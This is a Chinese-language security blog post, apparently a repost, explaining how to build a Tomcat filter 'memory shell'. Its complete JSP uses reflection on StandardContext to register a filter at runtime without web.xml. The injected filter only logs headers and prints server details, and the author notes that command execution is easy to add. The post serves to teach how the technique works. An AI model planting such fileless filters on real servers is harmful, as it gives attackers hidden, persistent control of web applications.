从web.xml到filter内存马

admin 2023年6月14日09:02:36评论9 views字数 12132阅读40分26秒阅读模式

大家好,我是reality,我搬砖回来了

上次写了一篇servlert内存马的水文,留了坑,这次补一篇关于filter内存马的文章,希望各位大佬多多指教

一、filter

Filter是什么?Filter是servlet规范中定义的java web组件, 在所有支持java web的容器中都可以使用 它是位于前端请求到servlet之间的一系列过滤器,也可以称之为中间件,它主要是对请求到达servlet之前做一些额外的动作:

1、权限控制

2、监控

3、日志管理

4、等等

大家应该不太喜欢看这种介绍,咱们先写一个filter感受一下

我们先写一个filter进来,取名叫FirstFilter

import java.io.IOException;
import java.io.PrintWriter;
import java.util.Enumeration;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;

public class FirstFilter implements Filter {
    private FilterConfig filterConfig = null;
    String paramValue = null;

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        this.filterConfig = filterConfig;
        paramValue = filterConfig.getInitParameter("encoding");
    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response,
                         FilterChain chain) throws IOException, ServletException {
        
        System.out.println("begin headers-------------------");
        Enumeration<?> headerNames = ((HttpServletRequest)request).getHeaderNames();

        while(headerNames.hasMoreElements()) {
            String headerName = (String)headerNames.nextElement();
            System.out.println(headerName + ": " + ((HttpServletRequest)request).getHeader(headerName));
        }
        System.out.println("end headers-------------------");

//        在调用目标前写入响应内容
        System.out.println("guolv");
        response.setContentType("text/html; charset=gb2312");
        PrintWriter out = response.getWriter();
        out.println("IP地址为:" + request.getRemoteHost() + "<br>");

        chain.doFilter(request, response);

        //在目标返回后写入响应内容
        out.println("<br>名称为encoding的初始化参数的值为:" + paramValue);
        out.println("<br>当前Web程序的真实路径为:" + filterConfig.getServletContext().getRealPath("/"));

        out.println("<br>修改了test.html文件!");
    }

    @Override
    public void destroy() {
        this.filterConfig = null;
    }
}

然后配置一下

<filter>
    <filter-name>FirstFiltername</filter-name>
    <filter-class>FirstFilter</filter-class>
</filter>
<filter-mapping>
    <filter-name>FirstFiltername</filter-name>
    <url-pattern>/TestServlet</url-pattern>
</filter-mapping>

filter是拦截器,所以我们放个让他拦截的东西,写一个TestServlet

public class TestServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        // TODO Auto-generated method stub

        response.setContentType("text/html");

        PrintWriter out=response.getWriter();
        out.print("<html>");
        out.print("<body style="background-color:gray">");
        out.print("<h2 style="background-color:red">fuck off</h2>");
        out.print("<p style="background-color:yellow">Hello World!</p>");
        out.print("</body>");
        out.print("</html>");
    }

    @Override
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

    }
}

启动

从web.xml到filter内存马

如果不加filter的版本应该是这样的

从web.xml到filter内存马

直观上的逻辑就是filter根据你配置的url去拦截你生成的servlert,然后把你写在filter里的东西加进去

这样写马的思路就比较清晰了,我们动态注册一个filter,在加上我们想要执行的命令,内存马就完成了

二、动态注册filter

老规矩先看配置文件

<filter>
    <filter-name>FirstFiltername</filter-name>
    <filter-class>FirstFilter</filter-class>
</filter>
<filter-mapping>
    <filter-name>FirstFiltername</filter-name>
    <url-pattern>/TestServlet</url-pattern>
</filter-mapping>

三个属性filter-namefilter-classurl-pattern分别对应filter的名字、类名和对应的url地址

接下来我们还是回到ContextConfigconfigureContext里找一找

从web.xml到filter内存马

就两条,都是根据webxml里的信息遍历循环加数据的,我们下断点跑一下

从web.xml到filter内存马

可以看到我们配置的三个信息都有,那我们写一下试试

新建一个filtertest.jsp,前面jsp的内容先照搬之前的FirstFilter

然后把我们找到的内容粘进去

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.util.Enumeration" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>
</head>
<body>
<%!
   public class FilterTest implements Filter {
    private FilterConfig filterConfig = null;
    String paramValue = null;

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        this.filterConfig = filterConfig;
        paramValue = filterConfig.getInitParameter("encoding");
    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response,
                         FilterChain chain) throws IOException, ServletException {

        System.out.println("begin headers-------------------");
        Enumeration<?> headerNames = ((HttpServletRequest)request).getHeaderNames();

        while(headerNames.hasMoreElements()) {
            String headerName = (String)headerNames.nextElement();
            System.out.println(headerName + ": " + ((HttpServletRequest)request).getHeader(headerName));
        }
        System.out.println("end headers-------------------");

        //        在调用目标前写入响应内容
        System.out.println("guolv");
        response.setContentType("text/html; charset=gb2312");
        PrintWriter out = response.getWriter();
        out.println("IP地址为:" + request.getRemoteHost() + "<br>");

        chain.doFilter(request, response);

        //在目标返回后写入响应内容
        out.println("<br>名称为encoding的初始化参数的值为:" + paramValue);
        out.println("<br>当前Web程序的真实路径为:" + filterConfig.getServletContext().getRealPath("/"));

        out.println("<br>修改了test.html文件!");
    }

    @Override
    public void destroy() {
        this.filterConfig = null;
    }
}

%>

<%
    context.addFilterDef(filter);
    context.addFilterMap(filterMap);

%>
</body>
</html>

由于他还是调的context里的方法,我们直接照搬Servlert内存马的方法,具体流程可以翻一下上文

ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext context = (StandardContext) standardContextField.get(applicationContext);

从web.xml到filter内存马

可以看到idea不太知道filter和filtermap具体是什么,没关系我们先点进去addFilterDef方法看看

从web.xml到filter内存马

没什么实际帮助,进去FilterDef看看

从web.xml到filter内存马

很熟悉的三个参数

从web.xml到filter内存马

底下正好有三个设置参数的方法,那咱们自己创建一个filterDef对象写就好了,反正都是公开方法

FilterDef filterDef=new FilterDef();
filterDef.setFilter(new FilterTest());
filterDef.setFilterClass("FilterTest");
filterDef.setFilterName("FilterTest");
context.addFilterDef(filterDef);

然后点进去看看filtermap

从web.xml到filter内存马

从web.xml到filter内存马

底下的方法和filterdef差不多,咱们直接写

从web.xml到filter内存马

我整个给贴上来

从web.xml到filter内存马

可以看到idea已经逐渐理解一切了

虽然没有木马,但是其实我们只需要能做到动态注册filter就可以了,跑一下看看

访问我们的jsp

从web.xml到filter内存马

没写回显,再访问我们设置的firstServlert

从web.xml到filter内存马

访问jsp的时候没有报错,说明至少代码部分没有错误,但是filter并没有成功注册,说明filter的注册并不仅仅需要这些东西,而缺少的部分其实我们之前在跑断点的时候就已经出现

从web.xml到filter内存马

从web.xml到filter内存马

百度一下

从web.xml到filter内存马

所以我们得看看这个filterconfigs到底是什么,需要怎么配置,上篇servlert内存马里我们已经知道,现在context里的值是Standardcontext,那我们直接去找

从web.xml到filter内存马

从web.xml到filter内存马

上图说的是filterconfigs是一个实例化的hashmap,下文里的filterconfigs明确的就写在了filterstart里,说明filter启动的时候是要调他的,那我们把跟filterconfigs里的东西调出来写到代码里

filterConfigs.put(name, filterConfig)

filterConfigs key值是name valuefilterConfigname被定义为entrykey值,entrykey值很明显就是。。。。。咱们可以下个断点看看

从web.xml到filter内存马

嗯,很明显就是filtername嘛,然后是filterConfigsvalue的值,直接下断点看吧

从web.xml到filter内存马

filterConfig是由ApplicationFilterConfig实例化来的,需要两个值,一个是StandardContext,一个是entry里的value值也就是entry里的值,也就是filterdef

好了开写

直接实例化filterConfig会报错,我笔记本截图有点问题,但是报错是说ApplicationFilterConfig是非公开的,所以我们需要反射获取他的构造函数

Constructor Applicationconstructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
Applicationconstructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) Applicationconstructor.newInstance(context, filterDef);

filterConfigsstandardcontext里就有,我们直接反射获取改值就好了

Field Configs = context.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(context);
filterConfigs.put("SecondFilter",filterConfig);

这是这个木马的全部代码,虽然叫马但是其实只完成了动态注册了filter,但我相信聪明的各位只要能做到动态注册,无论是弹计算器还是命令执行其实都已经不是问题了(其实是懒)

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.util.Enumeration" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>
</head>
<body>
<%!
    public class FilterTest implements Filter {
        private FilterConfig filterConfig = null;
        String paramValue = null;

        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
            this.filterConfig = filterConfig;
            paramValue = filterConfig.getInitParameter("encoding");
        }

        @Override
        public void doFilter(ServletRequest request, ServletResponse response,
                             FilterChain chain) throws IOException, ServletException {

            System.out.println("begin headers-------------------");
            Enumeration<?> headerNames = ((HttpServletRequest)request).getHeaderNames();

            while(headerNames.hasMoreElements()) {
                String headerName = (String)headerNames.nextElement();
                System.out.println(headerName + ": " + ((HttpServletRequest)request).getHeader(headerName));
            }
            System.out.println("end headers-------------------");

            //        在调用目标前写入响应内容
            System.out.println("guolv");
            response.setContentType("text/html; charset=gb2312");
            PrintWriter out = response.getWriter();
            out.println("IP地址为:" + request.getRemoteHost() + "<br>");

            chain.doFilter(request, response);

            //在目标返回后写入响应内容
            out.println("<br>名称为encoding的初始化参数的值为:" + paramValue);
            out.println("<br>当前Web程序的真实路径为:" + filterConfig.getServletContext().getRealPath("/"));

            out.println("<br>修改了test.html文件!");
        }

        @Override
        public void destroy() {
            this.filterConfig = null;
        }
    }
%>

<%
    ServletContext servletContext = request.getServletContext();
    Field applicationContextField = servletContext.getClass().getDeclaredField("context");
    applicationContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext context = (StandardContext) standardContextField.get(applicationContext);


    FilterDef filterDef=new FilterDef();
    filterDef.setFilter(new FilterTest());
    filterDef.setFilterClass("FilterTest");
    filterDef.setFilterName("FilterTest");
    context.addFilterDef(filterDef);

    FilterMap filterMap = new FilterMap();
    filterMap.setFilterName("FilterTest");
    filterMap.addURLPattern("/FirstServlet");
    context.addFilterMap(filterMap);


    Constructor Applicationconstructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
    Applicationconstructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) Applicationconstructor.newInstance(context, filterDef);

    Field Configs = context.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(context);
    filterConfigs.put("FilterTest",filterConfig);
    out.print("123");
%>
</body>
</html>

跑一下看看

先访问jsp,我加了条回显,要不截个白屏很尴尬

从web.xml到filter内存马

再访问我们设定的FirstServlert

从web.xml到filter内存马

三、结尾

因为我做过一段时间开发,所以两篇内存马的文章都是从实现的角度写的,几乎没有讲底层的逻辑,自己在写代码或者捋底层逻辑出现问题的时候都会借助百度,比如tomcat的实现啊,filter注册的逻辑啊诸如此类的,问问题并不可耻,毕竟你的目的是搞会,搞懂。学习遇到挫折也很正常,毕竟归根结底就是因为菜,你打游戏打的绿色也不见得能玩的爽对吧,所以踏实一点务实一点,慢慢看慢慢学。后续的内存马文章我可能会写Listener或是研究一下通用调用链,当然也可能都不写去开新坑,如果大家喜欢或者是有想法有意见请随时反馈,希望大佬们不吝赐教。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月14日09:02:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从web.xml到filter内存马http://cn-sec.com/archives/1803204.html

发表评论

匿名网友 填写信息